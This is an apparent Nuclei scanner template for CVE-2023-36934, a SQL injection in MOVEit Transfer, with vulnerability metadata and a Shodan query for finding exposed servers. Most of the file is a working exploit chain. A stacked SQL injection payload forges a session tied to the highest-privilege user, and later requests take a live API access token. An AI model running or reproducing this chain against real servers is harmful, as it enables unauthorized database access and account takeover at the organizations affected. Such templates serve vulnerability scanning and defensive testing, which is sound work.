nuclei-templates/http/cves/2023/CVE-2023-36934.yaml

102 lines
4.4 KiB
YAML
Raw Normal View History

id: CVE-2023-36934
info:
name: MOVEit Transfer - SQL Injection
author: rootxharsh,iamnoooob,pdresearch
severity: critical
description: |
In Progress MOVEit Transfer before 2020.1.11 (12.1.11), 2021.0.9 (13.0.9), 2021.1.7 (13.1.7), 2022.0.7 (14.0.7), 2022.1.8 (14.1.8), and 2023.0.4 (15.0.4), a SQL injection vulnerability has been identified in the MOVEit Transfer web application that could allow an unauthenticated attacker to gain unauthorized access to the MOVEit Transfer database. An attacker could submit a crafted payload to a MOVEit Transfer application endpoint that could result in modification and disclosure of MOVEit database content.
2023-09-06 11:43:37 +00:00
remediation: |
Apply the latest security patches or updates provided by the vendor to fix the SQL Injection vulnerability in the MOVEit Transfer application.
reference:
- https://community.progress.com/s/article/MOVEit-Transfer-2020-1-Service-Pack-July-2023
- https://blog.projectdiscovery.io/moveit-transfer-sql-injection/
- https://thehackernews.com/2023/07/another-critical-unauthenticated-sqli.html
2023-07-11 19:49:27 +00:00
- https://www.progress.com/moveit
classification:
2023-07-11 19:49:27 +00:00
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 9.1
cve-id: CVE-2023-36934
cwe-id: CWE-89
epss-score: 0.01606
epss-percentile: 0.86008
2023-09-06 11:43:37 +00:00
cpe: cpe:2.3:a:progress:moveit_transfer:*:*:*:*:*:*:*:*
metadata:
2023-09-06 11:43:37 +00:00
verified: true
max-request: 4
2023-09-06 11:43:37 +00:00
vendor: progress
product: moveit_transfer
shodan-query: http.favicon.hash:989289239
tags: cve,cve2023,moveit,rce,sqli,intrusive
variables:
session_cookie: "{{randstr}}"
http:
- raw:
- |
POST /human.aspx?Username=SQL%27%3BINSERT+INTO+activesessions+(SessionID)+values+(%27{{session_cookie}}%27);UPDATE+activesessions+SET+Username=(select+Username+from+users+order+by+permission+desc+limit+1)+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+LoginName=%27test@test.com%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+RealName=%27test@test.com%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+InstId=%271234%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+IpAddress=%27{{public_ip()}}%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+LastTouch=%272099-06-10+09:30:00%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+DMZInterface=%2710%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+Timeout=%2760%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+ResilNode=%2710%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+AcctReady=%271%27+WHERE+SessionID=%27{{session_cookie}}%27%23 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
transaction=signon
- |
POST /human.aspx?ep={{url_encode(ep)}} HTTP/2
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Cookie: InitialPage=zzzz.aspx;
transaction=passchangerequest
- |
POST /machine.aspx HTTP/2
Host: {{Hostname}}
Cookie: siLockLongTermInstID=0; ASP.NET_SessionId={{session}};
a=a
- |
POST /api/v1/auth/token HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.26.0
Accept-Encoding: gzip, deflate
Cookie: ASP.NET_SessionId={{session_cookie}}
Content-Type: application/x-www-form-urlencoded
grant_type=session&username=x&password=x
2023-07-11 19:49:27 +00:00
matchers-condition: and
matchers:
- type: word
part: body_4
words:
- '"refresh_token"'
- '"access_token"'
- '"token_type"'
- '"expires_in"'
condition: and
- type: status
status:
- 200
extractors:
- type: regex
name: ep
group: 1
regex:
- '\bep=([^&]+)"'
internal: true
2023-07-11 19:49:27 +00:00
part: body_1
- type: regex
name: session
group: 1
regex:
- 'ASP.NET_SessionId=([^;]+)'
internal: true
2023-07-11 19:49:27 +00:00
part: header_2
- type: regex
group: 1
regex:
- '"access_token":"([^"]+)"'
part: body_4
# digest: 4b0a00483046022100e6b6d1da04c45050026cfd93d05e0e76f64203f9ba0b05b42606cc38100b71680221008ca773acadb889cb1214df365c23283b76548a8f5585c51c525cbeeb118fc89f:922c64590222798bb761d5b6d8e72950